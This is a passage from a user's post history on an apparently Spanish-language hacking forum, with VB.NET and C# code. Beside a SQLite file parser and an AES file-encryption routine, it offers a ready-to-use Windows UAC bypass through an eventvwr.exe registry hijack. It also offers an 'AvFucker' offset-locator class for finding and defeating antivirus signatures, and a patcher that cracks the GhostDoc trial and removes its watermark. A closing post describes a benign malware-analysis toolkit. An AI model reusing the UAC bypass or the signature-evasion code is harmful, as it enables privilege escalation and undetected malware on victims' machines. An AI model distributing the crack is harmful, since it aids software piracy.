                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                    Me.master_table_entries(length + i).sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num5)), New Decimal(numArray(0))), New Decimal(numArray(1))), New Decimal(numArray(2))), New Decimal(numArray(3)))), CInt(numArray(4)))
                End If
            Next
        ElseIf Me.db_bytes(CInt(Offset)) = 5 Then
            Dim num11 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 3D)), 2)), Decimal.One))
            Dim num14 As Integer = num11
            For j As Integer = 0 To num14
                Dim startIndex As UShort = CUShort(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(Offset), 12D), New Decimal(j * 2))), 2))
                If Decimal.Compare(New Decimal(Offset), 100D) = 0 Then
                    Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(startIndex, 4)), Decimal.One), New Decimal(Me.page_size))))
                Else
                    Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(CInt(Offset + startIndex), 4)), Decimal.One), New Decimal(Me.page_size))))
                End If
            Next
            Me.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 8D)), 4)), Decimal.One), New Decimal(Me.page_size))))
        End If
    End Sub

    Public Function ReadTable(TableName As String) As Boolean
        Dim index As Integer = -1
        Dim length As Integer = Me.master_table_entries.Length - 1
        For i As Integer = 0 To length
            If String.Compare(Me.master_table_entries(i).item_name.ToLower(), TableName.ToLower(), StringComparison.Ordinal) = 0 Then
                index = i
                Exit For
            End If
        Next
        If index = -1 Then
            Return False
        End If
        Dim strArray As String() = Me.master_table_entries(index).sql_statement.Substring(Me.master_table_entries(index).sql_statement.IndexOf("(", StringComparison.Ordinal) + 1).Split(New Char() {","c})
        Dim num6 As Integer = strArray.Length - 1
        For j As Integer = 0 To num6
            strArray(j) = (strArray(j)).TrimStart()
            Dim num4 As Integer = strArray(j).IndexOf(" ", StringComparison.Ordinal)
            If num4 > 0 Then
                strArray(j) = strArray(j).Substring(0, num4)
            End If
            If strArray(j).IndexOf("UNIQUE", StringComparison.Ordinal) = 0 Then
                Exit For
            End If
            Me.field_names = DirectCast(Utils.CopyArray(DirectCast(Me.field_names, Array), New String(j) {}), String())
            Me.field_names(j) = strArray(j)
        Next
        Return Me.ReadTableFromOffset(CULng((Me.master_table_entries(index).root_num - 1L) * Me.page_size))
    End Function

    Private Function ReadTableFromOffset(offset As ULong) As Boolean
        If Me.db_bytes(CInt(offset)) = 13 Then
            Dim num2 As Integer = Convert.ToInt32(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 3D)), 2)), Decimal.One))
            Dim length As Integer = 0
            If Me.table_entries IsNot Nothing Then
                length = Me.table_entries.Length
                Me.table_entries = DirectCast(Utils.CopyArray(DirectCast(Me.table_entries, Array), New table_entry((Me.table_entries.Length + num2)) {}), table_entry())
            Else
                Me.table_entries = New table_entry(num2) {}
            End If
            Dim num16 As Integer = num2
            For i As Integer = 0 To num16
                Dim _fieldArray As record_header_field() = Nothing
                Dim num As ULong = Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(offset), 8D), New Decimal(i * 2))), 2)
                If Decimal.Compare(New Decimal(offset), 100D) <> 0 Then
                    num += offset
                End If
                Dim endIndex As Integer = Me.GVL(CInt(num))
                Dim num9 As Long = Me.CVL(CInt(num), endIndex)
                Dim num8 As Integer = Me.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)))
                Me.table_entries(length + i).row_id = Me.CVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)), num8)
                num = Convert.ToUInt64(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(num8), New Decimal(num))), Decimal.One))
                endIndex = Me.GVL(CInt(num))
                num8 = endIndex
                Dim num7 As Long = Me.CVL(CInt(num), endIndex)
                Dim num10 As Long = Convert.ToInt64(Decimal.Add(Decimal.Subtract(New Decimal(num), New Decimal(endIndex)), Decimal.One))
                Dim j As Integer = 0
                While num10 < num7
                    _fieldArray = DirectCast(Utils.CopyArray(DirectCast(_fieldArray, Array), New record_header_field(j) {}), record_header_field())
                    endIndex = num8 + 1
                    num8 = Me.GVL(endIndex)
                    _fieldArray(j).type = Me.CVL(endIndex, num8)
                    If _fieldArray(j).type > 9L Then
                        _fieldArray(j).size = If(Me.IsOdd(_fieldArray(j).type), CLng(Math.Round(CDbl(CDbl(_fieldArray(j).type - 13L) / 2.0))), CLng(Math.Round(CDbl(CDbl(_fieldArray(j).type - 12L) / 2.0))))
                    Else
                        _fieldArray(j).size = Me.SQLDataTypeSize(CInt(_fieldArray(j).type))
                    End If
                    num10 = (num10 + (num8 - endIndex)) + 1L
                    j += 1
                End While
                Me.table_entries(length + i).content = New String((_fieldArray.Length - 1)) {}
                Dim num4 As Integer = 0
                Dim num17 As Integer = _fieldArray.Length - 1
                For k As Integer = 0 To num17
                    If _fieldArray(k).type > 9L Then
                        If Not Me.IsOdd(_fieldArray(k).type) Then
                            If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.One) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 2D) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.Unicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            ElseIf Decimal.Compare(New Decimal(Me.mEncoding), 3D) = 0 Then
                                Me.table_entries(length + i).content(k) = System.Text.Encoding.BigEndianUnicode.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                            End If
                        Else
                            Me.table_entries(length + i).content(k) = System.Text.Encoding.Default.GetString(Me.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size))
                        End If
                    Else
                        Me.table_entries(length + i).content(k) = Conversions.ToString(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), New Decimal(num7)), New Decimal(num4))), CInt(_fieldArray(k).size)))
                    End If
                    num4 += CInt(_fieldArray(k).size)
                Next
            Next
        ElseIf Me.db_bytes(CInt(offset)) = 5 Then
            Dim num14 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 3D)), 2)), Decimal.One))
            Dim num18 As Integer = num14
            For m As Integer = 0 To num18
                Dim num13 As UShort = CUShort(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(offset), 12D), New Decimal(m * 2))), 2))
                Me.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(CInt(offset + num13), 4)), Decimal.One), New Decimal(Me.page_size))))
            Next
            Me.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(offset), 8D)), 4)), Decimal.One), New Decimal(Me.page_size))))
        End If
        Return True
    End Function

    <StructLayout(LayoutKind.Sequential)>
    Private Structure record_header_field
        Public size As Long
        Public type As Long
    End Structure

    <StructLayout(LayoutKind.Sequential)>
    Private Structure sqlite_master_entry
        Public row_id As Long
        Public item_type As String
        Public item_name As String
        Public astable_name As String
        Public root_num As Long
        Public sql_statement As String
    End Structure

    <StructLayout(LayoutKind.Sequential)>
    Private Structure table_entry
        Public row_id As Long
        Public content As String()
    End Structure
End Class



Descarga de Proyecto: You are not allowed to view links. Register or Login




16
C# - VB.NET / [C#] Aes File Encrypt/Decrypt
« en: Noviembre 10, 2016, 09:20:36 pm »
 En base a la pregunta de un usuario que tenia problemas al cifrar archivos con una esta funcion de cifrado, decidí implementarlo....
You are not allowed to view links. Register or Login


Ejemplo de Uso:
Código: (csharp) You are not allowed to view links. Register or Login
   // ENCRYPT FILE
    Aes_Encrypt("D:\\ISOs\\660mb.iso", "D:\\Encrypted.iso.aes", "testPassword", 256, CipherMode.CFB, Encoding.UTF8);
  // DECRYPT FILE
    Aes_Decrypt("D:\\Encrypted.iso.aes", "D:\\Decrypted.iso", "testPassword", 256, CipherMode.CFB, Encoding.UTF8);


Código: (csharp) You are not allowed to view links. Register or Login
  public void Aes_Encrypt(string fileInput, string fileOutput, string password, int keySize,
            CipherMode mode = CipherMode.CFB, Encoding enc = null)
        {
            if (enc == null)
                enc = Encoding.Default;
            if (!((keySize == 128) | (keySize == 192) | (keySize == 256)))
                keySize = 256;
            var buffersize = GetBufferSize(new FileInfo(fileInput).Length);
            var salt = GenerateSalt();

            using (var fsOut = new FileStream(fileOutput, FileMode.Create))
            {
                var passBytes = enc.GetBytes(password);
                using (var aes = new RijndaelManaged())
                {
                    var pdb = new Rfc2898DeriveBytes(passBytes, salt, 50000);
                    aes.KeySize = keySize;
                    aes.Padding = PaddingMode.PKCS7;
                    aes.Key = pdb.GetBytes(keySize/8);
                    aes.IV = pdb.GetBytes(16);
                    aes.Mode = mode;

                    fsOut.Write(salt, 0, salt.Length);
                    using (var cs = new CryptoStream(fsOut, aes.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        using (var fsInp = new FileStream(fileInput, FileMode.Open))
                        {
                            var tmpBuffer = new byte[buffersize];
                            var bytesRead = 0;
                            do
                            {
                                bytesRead = fsInp.Read(tmpBuffer, 0, tmpBuffer.Length);
                                cs.Write(tmpBuffer, 0, bytesRead);
                            } while (bytesRead > 0);
                        }
                    }
                }
            }
        }

        public void Aes_Decrypt(string fileinput, string fileoutput, string password, int keySize,
            CipherMode mode = CipherMode.CFB, Encoding enc = null)
        {
            if (enc == null)
                enc = Encoding.UTF8;
            if (!((keySize == 128) | (keySize == 192) | (keySize == 256)))
                keySize = 256;
            var salt = new byte[32];
            var buffersize = GetBufferSize(new FileInfo(fileinput).Length);
            using (var fsIn = new FileStream(fileinput, FileMode.Open))
            {
                fsIn.Read(salt, 0, salt.Length);
                var passBytes = enc.GetBytes(password);
                using (var crypto = new RijndaelManaged())
                {
                    var pdb = new Rfc2898DeriveBytes(passBytes, salt, 50000);

                    crypto.KeySize = keySize;
                    crypto.Padding = PaddingMode.PKCS7;
                    crypto.Key = pdb.GetBytes(keySize/8);
                    crypto.IV = pdb.GetBytes(16);
                    crypto.Mode = mode;


                    using (var cs = new CryptoStream(fsIn, crypto.CreateDecryptor(), CryptoStreamMode.Read))
                    {
                        using (var fsOut = new FileStream(fileoutput, FileMode.Create))
                        {
                            var tmpBuffer = new byte[buffersize];
                            var bytesRead = 0;
                            do
                            {
                                bytesRead = cs.Read(tmpBuffer, 0, tmpBuffer.Length);
                                fsOut.Write(tmpBuffer, 0, bytesRead);
                            } while (bytesRead > 0);
                        }
                    }
                }
            }
        }

        private byte[] GenerateSalt()
        {
            var data = new byte[32];
            using (var rng = new RNGCryptoServiceProvider())
            {
                rng.GetBytes(data);
            }
            return data;
        }


        public int GetBufferSize(long filesize)
        {
            return filesize >= 1073741824
                ? 1048576
                : (filesize >= 524288000
                    ? 524288
                    : (filesize >= 104857600
                        ? 131072
                        : (filesize >= 10485760 ? 32768 : (filesize >= 1048576 ? 8192 : 4096))));
        }

Cualquier error o sugerencia respecto al código comentar abajo....xD

17
C# - VB.NET / [VB.NET] Bypass UAC
« en: Noviembre 04, 2016, 12:59:52 am »
Código: (vbnet) You are not allowed to view links. Register or Login
Public Sub Bypass_UAC(ByVal filepath As String)
            'Based: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
            Using regkey As RegistryKey = Registry.CurrentUser.CreateSubKey("Software\Classes\mscfile\shell\open\command")
                regkey.SetValue("", filepath, RegistryValueKind.String)
            End Using
            Process.Start("eventvwr.exe")
        End Sub


Update:
Change : OpenSubKey ---> CreateSubKey

18
C# - VB.NET / [VB.Net] Offset Locator Function's by fudmario
« en: Octubre 23, 2016, 02:34:13 am »

Aquí les dejos del Baul de los recuerdos, lo he actualizado un poco de la version anterior, algunas funciones para armar vuestro Offset Locator, el code esta un poco sucio, pero se puede mejorar...xD
FUNCIONES:
  • AvFucker
  • Dsplit
  • 256 Combinaciones
  • Offset Replace

Ejemplos de Uso:
Código: (vbnet) You are not allowed to view links. Register or Login
        ' Call Method AvFucker
        OffsetLocator.Methods.AvFucker(filePath := "D:\test.exe",dirpath := "D:\AvFucker", _
                                       offsetStart := 1000, offsetEnd := 63488, _
                                       blockbyte := 100, valueData := "4D")

        'Call Method Dsplit
        OffsetLocator.Methods.DSplit(filepath := "D:\test.exe", dirpath := "D:\dsplit", _
                                     offsetStart := 1000, offsetEnd := 63488, blockBytes := 1000)

        'Call Method 256 Combination
        OffsetLocator.Methods.C256Combination(filepath := "D:\test.exe",dirpath := "D:\combination",offset := 3400)

        'Call Method OffsetReplace
        OffsetLocator.Methods.OffsetReplace(filepath := "D:\test.exe", fileOutput := "D:\test_replace_90.exe", _
                                            offset := 4500, valueData := "90")


Class file = "Methods.vb"

Código: (vbnet) You are not allowed to view links. Register or Login
' ***********************************************************************
' Assembly         : Demo Offset Locator
' Author           : fudmario
'
' Last Modified By : fudmario
' Last Modified On : 10-23-2016
' ***********************************************************************
' <copyright file="Methods.vb" company="DeveloperTeam">
'     Copyright ©  2016
' </copyright>
' <summary></summary>
' ***********************************************************************

Imports System.Threading.Tasks
Imports System.IO
Namespace OffsetLocator
    Public NotInheritable Class Methods
        Private Const FormatName As String = "{0}_{1}{2}"
        Public Shared Sub AvFucker(ByVal filePath As String, ByVal dirpath As String, _
                                   ByVal offsetStart As Integer, ByVal offsetEnd As Integer, _
                                   ByVal blockbyte As Integer, ByVal valueData As String)
            Dim fileOutput As String
            Dim ext as String = Path.GetExtension(filepath)
            Dim value As Integer = Convert.ToInt32(value:=valueData, fromBase:=16)
            Dim byteArray As Byte() = Internal_GenBlockBytes(CByte(value), blockbyte)
            Dim res As List(Of Tuple(Of Integer, Integer)) = Internal_StepGenList(offsetStart, offsetEnd, blockbyte)
            Parallel.ForEach(res, Sub(m)
                                      fileOutput = Path.Combine(dirpath, String.Format(FormatName, m.Item1, blockbyte, ext))
                                      If m.Item2 <> 0 Then byteArray = Internal_GenBlockBytes(CByte(value), m.Item2)
                                      Internal_OffsetReplaceB(filePath, fileOutput, m.Item1, byteArray)
                                  End Sub)
        End Sub
        Private Shared Sub Internal_OffsetReplaceB(ByVal filepath As String, ByVal fileOutput As String, Byval offset As Integer, ByVal blockByte As Byte())
            Using fs As New FileStream(path:=filepath, mode:=FileMode.Open, access:=FileAccess.Read)
                Using fs2 As New FileStream(path:=fileOutput, mode:=FileMode.Create, access:=FileAccess.Write)
                    fs.CopyTo(fs2)
                    fs2.Position = offset
                    fs2.Write(blockByte, 0, blockByte.Length)
                End Using
            End Using
        End Sub

        Public Shared Sub DSplit(ByVal filepath As String, ByVal dirpath As String, ByVal offsetStart As Integer, Byval offsetEnd As Integer,
                          ByVal blockBytes As Integer)
            Dim c As New FileInfo(filepath)
            Dim res As List(Of Tuple(Of Integer, Integer)) = Internal_StepGenList(offsetStart, offsetEnd, blockBytes)

            Parallel.ForEach(res, Sub(m)
                                      Dim output As String = Path.Combine(dirpath, String.Format(FormatName, m.item1, blockBytes, c.Extension))
                                      CreateFileWithBytes(filepath:=filepath, fileoutput:=output, length:=m.item1)
                                      If m.Item2 > 0 Then
                                          CreateFileWithBytes(filepath, Path.Combine(dirpath, String.Format(FormatName, offsetEnd, m.Item2, c.Extension)), offsetEnd)
                                      End If
                                  End Sub)

        End Sub

        Private Shared Sub CreateFileWithBytes(filepath As String, fileoutput As String, length As Integer)
            Dim buffer As Byte() = New Byte(length - 1) {}
            Using fs as New FileStream(path:=filepath, mode:=FileMode.Open, access:=FileAccess.Read)
                fs.Seek(0, SeekOrigin.Begin)
                fs.Read(buffer, 0, buffer.Length)
            End Using
            File.WriteAllBytes(fileoutput, buffer)
        End Sub
        Public Shared Sub OffsetReplace(ByVal filepath As String, ByVal fileOutput As String, ByVal offset As Integer, Byval valueData As String)
                Dim value As Integer = Convert.ToInt32(value:= valueData, fromBase:= 16)
            Internal_OffsetReplaceA(filepath, fileOutput, offset, value)
        End Sub
        Private Shared Sub Internal_OffsetReplaceA(ByVal filepath As String, ByVal fileOutput As String, _
                                                   ByVal offset As Integer, Byval value As Integer)
            Using fs As New FileStream(path:=filepath, mode:=FileMode.Open, access:=FileAccess.Read)
                Using fs2 As New FileStream(path:=fileOutput, mode:=FileMode.Create, access:=FileAccess.Write)
                    fs.CopyTo(fs2)
                    fs2.Position = offset
                    fs2.WriteByte(value:=CByte(value))
                End Using
            End Using
        End Sub
        Public Shared Sub C256Combination(ByVal filepath As String, ByVal dirpath As String, ByVal offset As Integer)
            Dim ext As String = Path.GetExtension(filepath)
            Dim value As String
            Dim output As String
            Parallel.For(0, 255, Sub(i)
                                     value = Convert.ToString(value:=i, toBase:=16).ToUpper
                                     If value.Length = 1 Then value = String.Format("0{0}", value)
                                     output = Path.Combine(dirpath, String.Format(FormatName, offset, value, ext))
                                     Internal_OffsetReplaceA(filepath, output, offset, i)
                                 End Sub)


        End Sub


        Private Shared Function Internal_GenBlockBytes(ByVal value As Byte, ByVal length As Integer) As Byte()
            Return ParallelEnumerable.Repeat(element:=value, count:=length).ToArray()
        End Function
        Private Shared Function Internal_StepGenList(ByVal startIndex As Integer, ByVal endIndex As Integer, ByVal stepSize As Integer) As List(Of Tuple(Of Integer, Integer))
            Dim c As New List(Of Tuple(Of Integer, Integer))
            For i = startIndex to endIndex Step stepSize
                Dim k As Integer = endIndex - i
                If k < stepSize Then
                   ' If k = 0 Then k = 1
                    c.Add(New Tuple(Of Integer, Integer)(item1 := i, item2 := k))
                Else
                    c.Add(New Tuple(Of Integer, Integer)(item1 := i, item2 := 0))
                End If
            Next
            return c
        End Function
    End Class
End NameSpace


19
C# - VB.NET / GhostDoc Enterprise - Build 5.2.16200 | Patcher by fudmario
« en: Septiembre 17, 2016, 07:53:51 pm »
Aquí les dejo este parche que permite extender el tiempo de uso en Version TRIAL, a diferencia de la version anterior que publique(You are not allowed to view links. Register or Login), en esta version se ha eliminado la marca de Agua.


Ademas viene con una Interfaz de usuario que  automiza todo el proceso de parcheo, tambien tiene la opcion de realizarlo manualmente seleccionando la ruta de instalacion de visual Studio(ej: X:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\).


Requerimientos:
  • Ejecutar Como Administrador.
  • .NET Framework 4

Descarga: You are not allowed to view links. Register or Login
Contraseña: byfudmario
Comprimido:  WinRAR5
Para los Desconfiados(detectado por packer SmartAssambly):


Aqui el ChangeLog de Ghost Doc  Build 5.2.16200:(más info You are not allowed to view links. Register or Login)
Código: You are not allowed to view links. Register or Login

    Added: Support for Visual Studio 2015 Update 3
    Fixed: Now correctly loading the latest ASP.NET Core projects
    Added: GhostDoc now treats underscore as a delimiter to improve summary generation for underscore delimited identifiers
    Added: "Use Modern URLs" Help Configuration option for declarative help documentation file naming - namespace-classname-membername.htm
    Added: Option to turn on/off Documentation Hints during setup
    Added: (Pro) (Ent)Comment Preview is now rendered using the FlatGray theme
    Changed: No longer creating the solution settings .ghostdoc.xml file if none of the default settings have been changed for the solution
    Fixed: Issue when using the /// and ''' shortcuts at the end of file
    Fixed: Issue when renaming a project within the Solution Folder
    Fixed: (Ent) Incorrect cref linking when building help documentation from command line
    Fixed: Exception text is now rendered correctly when the exception argument is a string interpolated string
    Fixed: Issue using with Global namespace in VB.NET
    Fixed: Custom property rules not working
    Fixed: Help Configuration not saved when cancel out of the Build Help File
    Fixed: Issue with Command Line utility failing when the output folder does not exist. The folder is now created when generating the help docs
    Fixed: Problem with GhostDoc incorrectly identifying user path as a network location
    Fixed: Help Configuration issue when Output Path points at a network location
    Fixed: CSHTML files are no longer included as the Documentation Maintenance supported source file type
    Changed: Renamed Browse button to Change in GhostDoc Options -> General -> User folder path
    Fixed: Issue when handling expression body methods

   

Para los que no conozcan sobre el Ghost Doc:
 
You are not allowed to view links. Register or Logines una extensión para Visual Studio que genera comentarios de documentación XML automáticamente para métodos y propiedades, basándose en su tipo, parámetros, nombre y otra información contextual.


IDEs Soportados:
  • Visual Studio 2015(incl. Community Edition)
  • Visual Studio 2013
  • Visual Studio 2012
  • Visual Studio 2010
  • Visual Studio 2008

Lenguajes Soportados:
  • C#
  • Visual Basic
  • C++/CLI
  • JavaScript

20
Análisis y desarrollo de malwares / ScanRAT Multi-Tools Final Version
« en: Julio 06, 2016, 01:48:33 am »

ScanRAT Multi-Tools, es una herramienta que incorpora numerosas características para poder analizar malware, incluidas algunas herramientas adicionales(visor de Procesos, visor de aplicaciones de Inicio de Windows, Protector de Carpetas,Visor de Conexiones tcp,geolocalizador de IP, desofuscador de scripts vbs, permite el monitoreo de aplicaciones que son ejecutados,archivos que son Creados/Eliminados/Renombrados y más.....
 Entre las características adicionales, se encuentran una gran rapidez en ejecución de algunas funciones, internamente se mejoro el código a diferencias de las versiones Anteriores, nuevo diseño en la GUI.





Mejoras en el Visor de Conexiones TCP(Experimental) : A diferencia de versiones anteriores se ha incluido la obtencion de los nombres de procesos y los respectivos PID.
Mejoras en el Visor de Procesos : Agregado la comprobacion de ficheros mediante md5 en VirusTotal, implementado la opción de mostrar los iconos de las aplicaciones en ejecución.
Mejoras en el Desofuscador de VBS: Aqui solamente agregado un nuevo control para mostrar el código resaltado.
Mejoras en la Obtencion de Inicio de Windows y más..................

Nuevas características:

 VIRUSTOTAL:
 Se ha implementado el analisis de ficheros en VirusTotal(un sitio web que proporciona de forma gratuita el análisis de archivos y páginas web a través de múltiples motores antivirus.
 Nos permite:
 
 
  • Analizar Ficheros.
  • Re-analizar Ficheros.
  • Comprobar si un archivo esta en VirusTotal(Mediante MD5).
  • Comprobar Direcciones Web.

 PD: Para poder utilizar esta caracteristica, debes tener el ApiKey de VirusTotal(Esto lo puede obtener registrandote gratuitamente en VirusTotal, una vez registrado obtendras tu apikey)
 
ALERTAS DE NOTICIAS:
 
 Esta opción nos permite recibir noticias para mantenernos informados, disponible solo para la versión en Español.
 Las Noticias son obtenidas de la página de MuySeguridad.net, para actualizar las noticias se pueden hacer de dos formas una mediante el boton Actualizar Noticias en las opciones de Configuración, otra forma es que si esta marcado la opción "Mostrar Noticia" al iniciar la aplicación automaticamente descargará las noticias.

WinFix:
 Se ha implementado la Opción de restaurar restricciones realizadas por algun malware en el sistema(Administrador de Tareas,Regedit,...)
 
Protector de Archivos(*)(Experimental).
 Esta caracterista de la aplicacion nos permite proteger archivos cifrandolas con contraseña(*Esta opción es bastante simple ya que solo usa la libreria DotNetZip), despues de proteger el archivo, se genera un archivo con una extension: ".safeprotect" con la cual se asocia a la aplicacion.
 
FAKEDNS(Experimental):
 En esta caracteristica, practicamente se ha embebido el ApateDNS en la Aplicación.  Para poder usarla debes tener una interfaz de red Instalada.

ReportGen BBCode(Beta):
 Esta herramienta aun esta en fase de desarrollo ya que aun falta mucho para generar un reporte completo y detallado.
 
 Si no sabes si estas infectado y necesitas ayuda, Con esta herramienta nos permite generar un informe de nuestro Computador en Formato BBCode para publicar en los foros.

 Nos permite obtener:
  • Unidades Disponibles
  • Software de Protección
  • Aplicaciones de Inicio
  • Inicio de Aplicaciones en el Regedit
  • Listado de Procesos en ejecución
  • Redirecciones del archivo Host
  • Listado de Conexiones TCP

 
 
  NUEVO PLUGIN:
  Se ha implementado la Instalación de un plugin para el ContextMenu de Windows con el cual se podrá llamar a la aplicación tan solo haciendo clic derecho en cualquier ejecutable(.exe,.dll).
 


Capturas:

Principal:

 

 

 

 

 

 

 

 

 

 

 

 



Sistemas Operativos compatibles: Windows 7 | Windows 8 | Windows 8.1 | Windows 10
Arquitecturas: x86 || x64
   
Requisitos adicionales.
         Instalar .NET Framework 4.0 (disponible en You are not allowed to view links. Register or Login ).
         Requiere Ejecutar Como Administrador.

Nombre de Archivo:
ScanRAT Multi-Tools.exe
Versión: 3.4.0 Final
Fecha de publicación:  05/07/2016
Tamaño de Archivo: 1,55 MB
MD5: 7ffa5f8c392049f48c5134e499545b4f
Link de Descarga: You are not allowed to view links. Register or Login
Contraseña: byfudmario
Comprimido: WinRAR5
VirusTotal Report: You are not allowed to view links. Register or Login

Páginas: [1] 2 3